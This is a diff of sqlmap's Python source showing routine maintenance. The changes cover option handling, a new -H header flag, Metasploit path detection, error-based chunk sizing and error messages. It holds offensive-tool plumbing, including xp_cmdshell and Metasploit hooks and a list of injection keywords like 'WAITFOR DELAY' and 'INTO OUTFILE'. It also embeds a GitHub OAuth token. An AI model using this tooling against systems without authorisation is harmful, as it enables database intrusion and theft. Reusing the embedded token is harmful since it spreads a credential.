@ -22,7 +21,6 @@ from lib.core.common import normalizeUnicode
|
|||
from lib.core.common import openFile
|
||||
from lib.core.common import prioritySortColumns
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import safeCSValue
|
||||
from lib.core.common import unicodeencode
|
||||
from lib.core.common import unsafeSQLIdentificatorNaming
|
||||
|
@ -76,7 +74,7 @@ class Dump(object):
|
|||
try:
|
||||
self._outputFP.write(text)
|
||||
except IOError, ex:
|
||||
errMsg = "error occurred while writing to log file ('%s')" % ex
|
||||
errMsg = "error occurred while writing to log file ('%s')" % ex.message
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
if kb.get("multiThreadMode"):
|
||||
|
@ -96,7 +94,7 @@ class Dump(object):
|
|||
try:
|
||||
self._outputFP = openFile(self._outputFile, "ab" if not conf.flushSession else "wb")
|
||||
except IOError, ex:
|
||||
errMsg = "error occurred while opening log file ('%s')" % ex
|
||||
errMsg = "error occurred while opening log file ('%s')" % ex.message
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
def getOutputFile(self):
|
||||
|
|
|
@ -197,6 +197,7 @@ class HASHDB_KEYS:
|
|||
KB_CHARS = "KB_CHARS"
|
||||
KB_DYNAMIC_MARKINGS = "KB_DYNAMIC_MARKINGS"
|
||||
KB_INJECTIONS = "KB_INJECTIONS"
|
||||
KB_ERROR_CHUNK_LENGTH = "KB_ERROR_CHUNK_LENGTH"
|
||||
KB_XP_CMDSHELL_AVAILABLE = "KB_XP_CMDSHELL_AVAILABLE"
|
||||
OS = "OS"
|
||||
|
||||
|
|
|
@ -9,6 +9,7 @@ import cookielib
|
|||
import glob
|
||||
import inspect
|
||||
import logging
|
||||
import httplib
|
||||
import os
|
||||
import random
|
||||
import re
|
||||
|
@ -53,7 +54,6 @@ from lib.core.common import readInput
|
|||
from lib.core.common import resetCookieJar
|
||||
from lib.core.common import runningAsAdmin
|
||||
from lib.core.common import safeExpandUser
|
||||
from lib.core.common import sanitizeStr
|
||||
from lib.core.common import setOptimize
|
||||
from lib.core.common import setPaths
|
||||
from lib.core.common import singleTimeWarnMessage
|
||||
|
@ -107,6 +107,7 @@ from lib.core.settings import DEFAULT_PAGE_ENCODING
|
|||
from lib.core.settings import DEFAULT_TOR_HTTP_PORTS
|
||||
from lib.core.settings import DEFAULT_TOR_SOCKS_PORT
|
||||
from lib.core.settings import DUMMY_URL
|
||||
from lib.core.settings import IGNORE_SAVE_OPTIONS
|
||||
from lib.core.settings import INJECT_HERE_MARK
|
||||
from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import KB_CHARS_BOUNDARY_CHAR
|
||||
|
@ -289,7 +290,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls):
|
|||
line = line.strip('\r')
|
||||
match = re.search(r"\A(%s) (.+) HTTP/[\d.]+\Z" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), line) if not method else None
|
||||
|
||||
if len(line) == 0 and method and method != HTTPMETHOD.GET and data is None:
|
||||
if len(line.strip()) == 0 and method and method != HTTPMETHOD.GET and data is None:
|
||||
data = ""
|
||||
params = True
|
||||
|
||||
|
@ -311,8 +312,9 @@ def _feedTargetsDict(reqFile, addedTargetUrls):
|
|||
params = True
|
||||
|
||||
# Headers
|
||||
elif re.search(r"\A\S+: ", line):
|
||||
key, value = line.split(": ", 1)
|
||||
elif re.search(r"\A\S+:", line):
|
||||
key, value = line.split(":", 1)
|
||||
value = value.strip().replace("\r", "").replace("\n", "")
|
||||
|
||||
# Cookie and Host headers
|
||||
if key.upper() == HTTP_HEADER.COOKIE.upper():
|
||||
|
@ -766,8 +768,14 @@ def _setMetasploit():
|
|||
|
||||
if conf.msfPath:
|
||||
for path in (conf.msfPath, os.path.join(conf.msfPath, "bin")):
|
||||
if all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("", "msfcli", "msfconsole", "msfencode", "msfpayload")):
|
||||
if any(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfcli", "msfconsole")):
|
||||
msfEnvPathExists = True
|
||||
if all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfvenom",)):
|
||||
kb.oldMsf = False
|
||||
elif all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfencode", "msfpayload")):
|
||||
kb.oldMsf = True
|
||||
else:
|
||||
msfEnvPathExists = False
|
||||
conf.msfPath = path
|
||||
break
|
||||
|
||||
|
@ -798,15 +806,23 @@ def _setMetasploit():
|
|||
for envPath in envPaths:
|
||||
envPath = envPath.replace(";", "")
|
||||
|
||||
if all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("", "msfcli", "msfconsole", "msfencode", "msfpayload")):
|
||||
infoMsg = "Metasploit Framework has been found "
|
||||
infoMsg += "installed in the '%s' path" % envPath
|
||||
logger.info(infoMsg)
|
||||
|
||||
if all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("", "msfcli", "msfconsole")):
|
||||
msfEnvPathExists = True
|
||||
conf.msfPath = envPath
|
||||
if all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("msfvenom",)):
|
||||
kb.oldMsf = False
|
||||
elif all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("msfencode", "msfpayload")):
|
||||
kb.oldMsf = True
|
||||
else:
|
||||
msfEnvPathExists = False
|
||||
|
||||
break
|
||||
if msfEnvPathExists:
|
||||
infoMsg = "Metasploit Framework has been found "
|
||||
infoMsg += "installed in the '%s' path" % envPath
|
||||
logger.info(infoMsg)
|
||||
|
||||
conf.msfPath = envPath
|
||||
|
||||
break
|
||||
|
||||
if not msfEnvPathExists:
|
||||
errMsg = "unable to locate Metasploit Framework installation. "
|
||||
|
@ -1325,6 +1341,9 @@ def _setHTTPExtraHeaders():
|
|||
conf.headers = conf.headers.split("\n") if "\n" in conf.headers else conf.headers.split("\\n")
|
||||
|
||||
for headerValue in conf.headers:
|
||||
if not headerValue.strip():
|
||||
continue
|
||||
|
||||
if headerValue.count(':') >= 1:
|
||||
header, value = (_.lstrip() for _ in headerValue.split(":", 1))
|
||||
|
||||
|
@ -1504,7 +1523,7 @@ def _createTemporaryDirectory():
|
|||
os.makedirs(tempfile.gettempdir())
|
||||
except IOError, ex:
|
||||
errMsg = "there has been a problem while accessing "
|
||||
errMsg += "system's temporary directory location(s) ('%s'). Please " % ex
|
||||
errMsg += "system's temporary directory location(s) ('%s'). Please " % ex.message
|
||||
errMsg += "make sure that there is enough disk space left. If problem persists, "
|
||||
errMsg += "try to set environment variable 'TEMP' to a location "
|
||||
errMsg += "writeable by the current user"
|
||||
|
@ -1562,6 +1581,9 @@ def _cleanupOptions():
|
|||
else:
|
||||
conf.skip = []
|
||||
|
||||
if conf.cookie:
|
||||
conf.cookie = re.sub(r"[\r\n]", "", conf.cookie)
|
||||
|
||||
if conf.delay:
|
||||
conf.delay = float(conf.delay)
|
||||
|
||||
|
@ -1669,6 +1691,13 @@ def _cleanupOptions():
|
|||
threadData = getCurrentThreadData()
|
||||
threadData.reset()
|
||||
|
||||
def _dirtyPatches():
|
||||
"""
|
||||
Place for "dirty" Python related patches
|
||||
"""
|
||||
|
||||
httplib._MAXLINE = 1 * 1024 * 1024 # to accept overly long result lines (e.g. SQLi results in HTTP header responses)
|
||||
|
||||
def _purgeOutput():
|
||||
"""
|
||||
Safely removes (purges) output directory.
|
||||
|
@ -1766,11 +1795,14 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||
kb.endDetection = False
|
||||
kb.explicitSettings = set()
|
||||
kb.extendTests = None
|
||||
kb.errorChunkLength = None
|
||||
kb.errorIsNone = True
|
||||
kb.fileReadMode = False
|
||||
kb.followSitemapRecursion = None
|
||||
kb.forcedDbms = None
|
||||
kb.forcePartialUnion = False
|
||||
kb.forceWhere = None
|
||||
kb.futileUnion = None
|
||||
kb.headersFp = {}
|
||||
kb.heuristicDbms = None
|
||||
kb.heuristicMode = False
|
||||
|
@ -1797,9 +1829,11 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||
kb.multiThreadMode = False
|
||||
kb.negativeLogic = False
|
||||
kb.nullConnection = None
|
||||
kb.oldMsf = None
|
||||
kb.orderByColumns = None
|
||||
kb.originalCode = None
|
||||
kb.originalPage = None
|
||||
kb.originalPageTime = None
|
||||
kb.originalTimeDelay = None
|
||||
kb.originalUrls = dict()
|
||||
|
||||
|
@ -1845,6 +1879,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||
kb.technique = None
|
||||
kb.tempDir = None
|
||||
kb.testMode = False
|
||||
kb.testOnlyCustom = False
|
||||
kb.testQueryCount = 0
|
||||
kb.testType = None
|
||||
kb.threadContinue = True
|
||||
|
@ -1934,16 +1969,16 @@ def _useWizardInterface():
|
|||
|
||||
dataToStdout("\nsqlmap is running, please wait..\n\n")
|
||||
|
||||
def _saveCmdline():
|
||||
def _saveConfig():
|
||||
"""
|
||||
Saves the command line options on a sqlmap configuration INI file
|
||||
Saves the command line options to a sqlmap configuration INI file
|
||||
Format.
|
||||
"""
|
||||
|
||||
if not conf.saveCmdline:
|
||||
if not conf.saveConfig:
|
||||
return
|
||||
|
||||
debugMsg = "saving command line options on a sqlmap configuration INI file"
|
||||
debugMsg = "saving command line options to a sqlmap configuration INI file"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
config = UnicodeRawConfigParser()
|
||||
|
@ -1966,6 +2001,9 @@ def _saveCmdline():
|
|||
if datatype and isListLike(datatype):
|
||||
datatype = datatype[0]
|
||||
|
||||
if option in IGNORE_SAVE_OPTIONS:
|
||||
continue
|
||||
|
||||
if value is None:
|
||||
if datatype == OPTION_TYPE.BOOLEAN:
|
||||
value = "False"
|
||||
|
@ -1982,16 +2020,16 @@ def _saveCmdline():
|
|||
|
||||
config.set(family, option, value)
|
||||
|
||||
confFP = openFile(paths.SQLMAP_CONFIG, "wb")
|
||||
confFP = openFile(conf.saveConfig, "wb")
|
||||
|
||||
try:
|
||||
config.write(confFP)
|
||||
except IOError, ex:
|
||||
errMsg = "something went wrong while trying "
|
||||
errMsg += "to write to the configuration INI file '%s' ('%s')" % (paths.SQLMAP_CONFIG, ex)
|
||||
errMsg += "to write to the configuration file '%s' ('%s')" % (conf.saveConfig, ex)
|
||||
raise SqlmapSystemException(errMsg)
|
||||
|
||||
infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG
|
||||
infoMsg = "saved command line options to the configuration file '%s'" % conf.saveConfig
|
||||
logger.info(infoMsg)
|
||||
|
||||
def setVerbosity():
|
||||
|
@ -2029,7 +2067,12 @@ def _mergeOptions(inputOptions, overrideOptions):
|
|||
"""
|
||||
|
||||
if inputOptions.pickledOptions:
|
||||
inputOptions = base64unpickle(inputOptions.pickledOptions)
|
||||
try:
|
||||
inputOptions = base64unpickle(inputOptions.pickledOptions)
|
||||
except Exception, ex:
|
||||
errMsg = "provided invalid value '%s' for option '--pickled-options'" % inputOptions.pickledOptions
|
||||
errMsg += " ('%s')" % ex.message if ex.message else ""
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if inputOptions.configFile:
|
||||
configFileParser(inputOptions.configFile)
|
||||
|
@ -2446,9 +2489,10 @@ def init():
|
|||
|
||||
_useWizardInterface()
|
||||
setVerbosity()
|
||||
_saveCmdline()
|
||||
_saveConfig()
|
||||
_setRequestFromFile()
|
||||
_cleanupOptions()
|
||||
_dirtyPatches()
|
||||
_purgeOutput()
|
||||
_checkDependencies()
|
||||
_createTemporaryDirectory()
|
||||
|
|
|
@ -202,14 +202,13 @@ optDict = {
|
|||
"outputDir": "string",
|
||||
"parseErrors": "boolean",
|
||||
"pivotColumn": "string",
|
||||
"saveCmdline": "boolean",
|
||||
"saveConfig": "string",
|
||||
"scope": "string",
|
||||
"testFilter": "string",
|
||||
"updateAll": "boolean",
|
||||
},
|
||||
|
||||
"Miscellaneous": {
|
||||
"mnemonics": "string",
|
||||
"alert": "string",
|
||||
"answers": "string",
|
||||
"beep": "boolean",
|
||||
|
@ -218,6 +217,7 @@ optDict = {
|
|||
"disableColoring": "boolean",
|
||||
"googlePage": "integer",
|
||||
"mobile": "boolean",
|
||||
"offline": "boolean",
|
||||
"pageRank": "boolean",
|
||||
"purgeOutput": "boolean",
|
||||
"smart": "boolean",
|
||||
|
|
|
@ -70,7 +70,7 @@ class Replication(object):
|
|||
try:
|
||||
self.parent.cursor.execute(sql, parameters)
|
||||
except sqlite3.OperationalError, ex:
|
||||
errMsg = "problem occurred ('%s') while accessing sqlite database " % ex
|
||||
errMsg = "problem occurred ('%s') while accessing sqlite database " % unicode(ex)
|
||||
errMsg += "located at '%s'. Please make sure that " % self.parent.dbpath
|
||||
errMsg += "it's not used by some other program"
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
|
|
@ -6,7 +6,6 @@ See the file 'doc/COPYING' for copying permission
|
|||
"""
|
||||
|
||||
import os
|
||||
import random
|
||||
import re
|
||||
import subprocess
|
||||
import string
|
||||
|
@ -324,11 +323,11 @@ CUSTOM_INJECTION_MARK_CHAR = '*'
|
|||
# Other way to declare injection position
|
||||
INJECT_HERE_MARK = '%INJECT HERE%'
|
||||
|
||||
# Maximum length used for retrieving data over MySQL error based payload due to "known" problems with longer result strings
|
||||
MYSQL_ERROR_CHUNK_LENGTH = 50
|
||||
# Minimum chunk length used for retrieving data over error based payloads
|
||||
MIN_ERROR_CHUNK_LENGTH = 8
|
||||
|
||||
# Maximum length used for retrieving data over MSSQL error based payload due to trimming problems with longer result strings
|
||||
MSSQL_ERROR_CHUNK_LENGTH = 100
|
||||
# Maximum chunk length used for retrieving data over error based payloads
|
||||
MAX_ERROR_CHUNK_LENGTH = 1024
|
||||
|
||||
# Do not escape the injected statement if it contains any of the following SQL keywords
|
||||
EXCLUDE_UNESCAPE = ("WAITFOR DELAY ", " INTO DUMPFILE ", " INTO OUTFILE ", "CREATE ", "BULK ", "EXEC ", "RECONFIGURE ", "DECLARE ", "'%s'" % CHAR_INFERENCE_MARK)
|
||||
|
@ -387,6 +386,9 @@ CODECS_LIST_PAGE = "http://docs.python.org/library/codecs.html#standard-encoding
|
|||
# Simple regular expression used to distinguish scalar from multiple-row commands (not sole condition)
|
||||
SQL_SCALAR_REGEX = r"\A(SELECT(?!\s+DISTINCT\(?))?\s*\w*\("
|
||||
|
||||
# Option/switch values to ignore during configuration save
|
||||
IGNORE_SAVE_OPTIONS = ("saveConfig",)
|
||||
|
||||
# IP address of the localhost
|
||||
LOCALHOST = "127.0.0.1"
|
||||
|
||||
|
@ -484,7 +486,7 @@ DEFAULT_COOKIE_DELIMITER = ';'
|
|||
FORCE_COOKIE_EXPIRATION_TIME = "9999999999"
|
||||
|
||||
# Github OAuth token used for creating an automatic Issue for unhandled exceptions
|
||||
GITHUB_REPORT_OAUTH_TOKEN = "f05e68171afd41a445b1fff80f369fae88b37968"
|
||||
GITHUB_REPORT_OAUTH_TOKEN = "YzQzM2M2YzgzMDExN2I5ZDMyYjAzNTIzODIwZDA2MDFmMmVjODI1Ng=="
|
||||
|
||||
# Skip unforced HashDB flush requests below the threshold number of cached items
|
||||
HASHDB_FLUSH_THRESHOLD = 32
|
||||
|
@ -612,6 +614,9 @@ MIN_ENCODED_LEN_CHECK = 5
|
|||
# Timeout in seconds in which Metasploit remote session has to be initialized
|
||||
METASPLOIT_SESSION_TIMEOUT = 300
|
||||
|
||||
# Reference: http://www.postgresql.org/docs/9.0/static/catalog-pg-largeobject.html
|
||||
LOBLKSIZE = 2048
|
||||
|
||||
# Suffix used to mark variables having keyword names
|
||||
EVALCODE_KEYWORD_SUFFIX = "_KEYWORD"
|
||||
|
||||
|
|
|
@ -10,7 +10,6 @@ import os
|
|||
import rlcompleter
|
||||
|
||||
from lib.core import readlineng as readline
|
||||
from lib.core.common import Backend
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.enums import AUTOCOMPLETE_TYPE
|
||||
|
@ -43,7 +42,7 @@ def saveHistory(completion=None):
|
|||
historyPath = paths.SQLMAP_SHELL_HISTORY
|
||||
|
||||
try:
|
||||
with open(historyPath, "w+") as f:
|
||||
with open(historyPath, "w+"):
|
||||
pass
|
||||
except:
|
||||
pass
|
||||
|
@ -92,7 +91,7 @@ class CompleterNG(rlcompleter.Completer):
|
|||
matches.append(word)
|
||||
|
||||
return matches
|
||||
|
||||
|
||||
def autoCompletion(completion=None, os=None, commands=None):
|
||||
if not readlineAvailable():
|
||||
return
|
||||
|
|
|
@ -123,11 +123,8 @@ def _setRequestParams():
|
|||
else:
|
||||
kb.processUserMarks = not test or test[0] not in ("n", "N")
|
||||
|
||||
if kb.processUserMarks and "=%s" % CUSTOM_INJECTION_MARK_CHAR in conf.data:
|
||||
warnMsg = "it seems that you've provided empty parameter value(s) "
|
||||
warnMsg += "for testing. Please, always use only valid parameter values "
|
||||
warnMsg += "so sqlmap could be able to run properly"
|
||||
logger.warn(warnMsg)
|
||||
if kb.processUserMarks:
|
||||
kb.testOnlyCustom = True
|
||||
|
||||
if not (kb.processUserMarks and CUSTOM_INJECTION_MARK_CHAR in conf.data):
|
||||
if re.search(JSON_RECOGNITION_REGEX, conf.data):
|
||||
|
@ -137,6 +134,7 @@ def _setRequestParams():
|
|||
if test and test[0] in ("q", "Q"):
|
||||
raise SqlmapUserQuitException
|
||||
elif test[0] not in ("n", "N"):
|
||||
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||
conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER)
|
||||
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % CUSTOM_INJECTION_MARK_CHAR), conf.data)
|
||||
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % CUSTOM_INJECTION_MARK_CHAR), conf.data)
|
||||
|
@ -155,6 +153,7 @@ def _setRequestParams():
|
|||
if test and test[0] in ("q", "Q"):
|
||||
raise SqlmapUserQuitException
|
||||
elif test[0] not in ("n", "N"):
|
||||
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||
conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER)
|
||||
conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % CUSTOM_INJECTION_MARK_CHAR), conf.data)
|
||||
conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % CUSTOM_INJECTION_MARK_CHAR), conf.data)
|
||||
|
@ -178,6 +177,7 @@ def _setRequestParams():
|
|||
if test and test[0] in ("q", "Q"):
|
||||
raise SqlmapUserQuitException
|
||||
elif test[0] not in ("n", "N"):
|
||||
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||
conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER)
|
||||
conf.data = re.sub(r"(<(?P<name>[^>]+)( [^<]*)?>)([^<]+)(</\2)", functools.partial(process, repl=r"\g<1>\g<4>%s\g<5>" % CUSTOM_INJECTION_MARK_CHAR), conf.data)
|
||||
kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
|
||||
|
@ -189,6 +189,7 @@ def _setRequestParams():
|
|||
if test and test[0] in ("q", "Q"):
|
||||
raise SqlmapUserQuitException
|
||||
elif test[0] not in ("n", "N"):
|
||||
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||
conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER)
|
||||
conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"'](?P<name>[^\n]+?)[\"']).+?)(((\r)?\n)+--)", functools.partial(process, repl=r"\g<1>%s\g<4>" % CUSTOM_INJECTION_MARK_CHAR), conf.data)
|
||||
kb.postHint = POST_HINT.MULTIPART
|
||||
|
@ -241,11 +242,14 @@ def _setRequestParams():
|
|||
else:
|
||||
kb.processUserMarks = not test or test[0] not in ("n", "N")
|
||||
|
||||
if kb.processUserMarks and "=%s" % CUSTOM_INJECTION_MARK_CHAR in _:
|
||||
warnMsg = "it seems that you've provided empty parameter value(s) "
|
||||
warnMsg += "for testing. Please, always use only valid parameter values "
|
||||
warnMsg += "so sqlmap could be able to run properly"
|
||||
logger.warn(warnMsg)
|
||||
if kb.processUserMarks:
|
||||
kb.testOnlyCustom = True
|
||||
|
||||
if "=%s" % CUSTOM_INJECTION_MARK_CHAR in _:
|
||||
warnMsg = "it seems that you've provided empty parameter value(s) "
|
||||
warnMsg += "for testing. Please, always use only valid parameter values "
|
||||
warnMsg += "so sqlmap could be able to run properly"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if not kb.processUserMarks:
|
||||
if place == PLACE.URI:
|
||||
|
@ -399,12 +403,18 @@ def _resumeHashDBValues():
|
|||
"""
|
||||
|
||||
kb.absFilePaths = hashDBRetrieve(HASHDB_KEYS.KB_ABS_FILE_PATHS, True) or kb.absFilePaths
|
||||
kb.chars = hashDBRetrieve(HASHDB_KEYS.KB_CHARS, True) or kb.chars
|
||||
kb.dynamicMarkings = hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, True) or kb.dynamicMarkings
|
||||
kb.brute.tables = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_TABLES, True) or kb.brute.tables
|
||||
kb.brute.columns = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_COLUMNS, True) or kb.brute.columns
|
||||
kb.chars = hashDBRetrieve(HASHDB_KEYS.KB_CHARS, True) or kb.chars
|
||||
kb.dynamicMarkings = hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, True) or kb.dynamicMarkings
|
||||
kb.xpCmdshellAvailable = hashDBRetrieve(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE) or kb.xpCmdshellAvailable
|
||||
|
||||
kb.errorChunkLength = hashDBRetrieve(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH)
|
||||
if kb.errorChunkLength and kb.errorChunkLength.isdigit():
|
||||
kb.errorChunkLength = int(kb.errorChunkLength)
|
||||
else:
|
||||
kb.errorChunkLength = None
|
||||
|
||||
conf.tmpPath = conf.tmpPath or hashDBRetrieve(HASHDB_KEYS.CONF_TMP_PATH)
|
||||
|
||||
for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []:
|
||||
|
@ -604,7 +614,7 @@ def _createTargetDirs():
|
|||
|
||||
warnMsg = "unable to create regular output directory "
|
||||
warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, getUnicode(ex))
|
||||
warnMsg += "Using temporary directory '%s' instead" % tempDir
|
||||
warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
|
||||
logger.warn(warnMsg)
|
||||
|
||||
paths.SQLMAP_OUTPUT_PATH = tempDir
|
||||
|
@ -626,7 +636,7 @@ def _createTargetDirs():
|
|||
|
||||
warnMsg = "unable to create output directory "
|
||||
warnMsg += "'%s' (%s). " % (conf.outputPath, getUnicode(ex))
|
||||
warnMsg += "Using temporary directory '%s' instead" % tempDir
|
||||
warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
|
||||
logger.warn(warnMsg)
|
||||
|
||||
conf.outputPath = tempDir
|
||||
|
@ -683,10 +693,13 @@ def initTargetEnv():
|
|||
class _(unicode):
|
||||
pass
|
||||
|
||||
kb.postUrlEncode = True
|
||||
|
||||
for key, value in conf.httpHeaders:
|
||||
if key.upper() == HTTP_HEADER.CONTENT_TYPE.upper():
|
||||
kb.postUrlEncode = "urlencoded" in value
|
||||
break
|
||||
|
||||
if kb.postUrlEncode:
|
||||
original = conf.data
|
||||
conf.data = _(urldecode(conf.data))
|
||||
|
|
|
@ -47,6 +47,7 @@ class _ThreadData(threading.local):
|
|||
self.lastHTTPError = None
|
||||
self.lastRedirectMsg = None
|
||||
self.lastQueryDuration = 0
|
||||
self.lastPage = None
|
||||
self.lastRequestMsg = None
|
||||
self.lastRequestUID = 0
|
||||
self.lastRedirectURL = None
|
||||
|
|
|
@ -41,7 +41,13 @@ class Wordlist(object):
|
|||
else:
|
||||
self.current = self.filenames[self.index]
|
||||
if os.path.splitext(self.current)[1].lower() == ".zip":
|
||||
_ = zipfile.ZipFile(self.current, 'r')
|
||||
try:
|
||||
_ = zipfile.ZipFile(self.current, 'r')
|
||||
except zipfile.error, ex:
|
||||
errMsg = "something seems to be wrong with "
|
||||
errMsg += "the file '%s' ('%s'). Please make " % (self.current, ex)
|
||||
errMsg += "sure that you haven't made any changes to it"
|
||||
raise SqlmapInstallationException, errMsg
|
||||
if len(_.namelist()) == 0:
|
||||
errMsg = "no file(s) inside '%s'" % self.current
|
||||
raise SqlmapDataException(errMsg)
|
||||
|
|
|
@ -127,6 +127,9 @@ def cmdLineParser():
|
|||
request.add_option("--referer", dest="referer",
|
||||
help="HTTP Referer header value")
|
||||
|
||||
request.add_option("-H", "--header", dest="header",
|
||||
help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")")
|
||||
|
||||
request.add_option("--headers", dest="headers",
|
||||
help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")")
|
||||
|
||||
|
@ -659,8 +662,7 @@ def cmdLineParser():
|
|||
general.add_option("--pivot-column", dest="pivotColumn",
|
||||
help="Pivot column name")
|
||||
|
||||
general.add_option("--save", dest="saveCmdline",
|
||||
action="store_true",
|
||||
general.add_option("--save", dest="saveConfig",
|
||||
help="Save options to a configuration INI file")
|
||||
|
||||
general.add_option("--scope", dest="scope",
|
||||
|
@ -686,7 +688,7 @@ def cmdLineParser():
|
|||
help="Set question answers (e.g. \"quit=N,follow=N\")")
|
||||
|
||||
miscellaneous.add_option("--beep", dest="beep", action="store_true",
|
||||
help="Make a beep sound when SQL injection is found")
|
||||
help="Beep on question and/or when SQL injection is found")
|
||||
|
||||
miscellaneous.add_option("--cleanup", dest="cleanup",
|
||||
action="store_true",
|
||||
|
@ -712,6 +714,10 @@ def cmdLineParser():
|
|||
action="store_true",
|
||||
help="Imitate smartphone through HTTP User-Agent header")
|
||||
|
||||
miscellaneous.add_option("--offline", dest="offline",
|
||||
action="store_true",
|
||||
help="Work in offline mode (only use session data)")
|
||||
|
||||
miscellaneous.add_option("--page-rank", dest="pageRank",
|
||||
action="store_true",
|
||||
help="Display page rank (PR) for Google dork results")
|
||||
|
@ -799,6 +805,7 @@ def cmdLineParser():
|
|||
argv = []
|
||||
prompt = False
|
||||
advancedHelp = True
|
||||
extraHeaders = []
|
||||
|
||||
for arg in sys.argv:
|
||||
argv.append(getUnicode(arg, encoding=sys.getfilesystemencoding()))
|
||||
|
@ -854,12 +861,17 @@ def cmdLineParser():
|
|||
for arg in shlex.split(command):
|
||||
argv.append(getUnicode(arg, encoding=sys.stdin.encoding))
|
||||
except ValueError, ex:
|
||||
raise SqlmapSyntaxException, "something went wrong during command line parsing ('%s')" % ex
|
||||
raise SqlmapSyntaxException, "something went wrong during command line parsing ('%s')" % ex.message
|
||||
|
||||
# Hide non-basic options in basic help case
|
||||
for i in xrange(len(argv)):
|
||||
if argv[i] == "-hh":
|
||||
argv[i] = "-h"
|
||||
elif re.search(r"\A-\w=.+", argv[i]):
|
||||
print "[!] potentially miswritten (illegal '=') short option detected ('%s')" % argv[i]
|
||||
elif argv[i] == "-H":
|
||||
if i + 1 < len(argv):
|
||||
extraHeaders.append(argv[i + 1])
|
||||
elif re.match(r"\A\d+!\Z", argv[i]) and argv[max(0, i - 1)] == "--threads" or re.match(r"\A--threads.+\d+!\Z", argv[i]):
|
||||
argv[i] = argv[i][:-1]
|
||||
conf.skipThreadCheck = True
|
||||
|
@ -888,6 +900,12 @@ def cmdLineParser():
|
|||
print "\n[!] to see full list of options run with '-hh'"
|
||||
raise
|
||||
|
||||
if extraHeaders:
|
||||
if not args.headers:
|
||||
args.headers = ""
|
||||
delimiter = "\\n" if "\\n" in args.headers else "\n"
|
||||
args.headers += delimiter + delimiter.join(extraHeaders)
|
||||
|
||||
# Expand given mnemonic options (e.g. -z "ign,flu,bat")
|
||||
for i in xrange(len(argv) - 1):
|
||||
if argv[i] == "-z":
|
||||
|
|
|
@ -5,11 +5,6 @@ Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/)
|
|||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
import codecs
|
||||
|
||||
from ConfigParser import MissingSectionHeaderError
|
||||
from ConfigParser import ParsingError
|
||||
|
||||
from lib.core.common import checkFile
|
||||
from lib.core.common import getUnicode
|
||||
from lib.core.common import openFile
|
||||
|
@ -20,7 +15,6 @@ from lib.core.data import logger
|
|||
from lib.core.exception import SqlmapMissingMandatoryOptionException
|
||||
from lib.core.exception import SqlmapSyntaxException
|
||||
from lib.core.optiondict import optDict
|
||||
from lib.core.settings import UNICODE_ENCODING
|
||||
|
||||
config = None
|
||||
|
||||
|
@ -73,7 +67,7 @@ def configFileParser(configFile):
|
|||
config = UnicodeRawConfigParser()
|
||||
config.readfp(configFP)
|
||||
except Exception, ex:
|
||||
errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % getUnicode(ex)
|
||||
errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % ex.message
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if not config.has_section("Target"):
|
||||
|
|
|
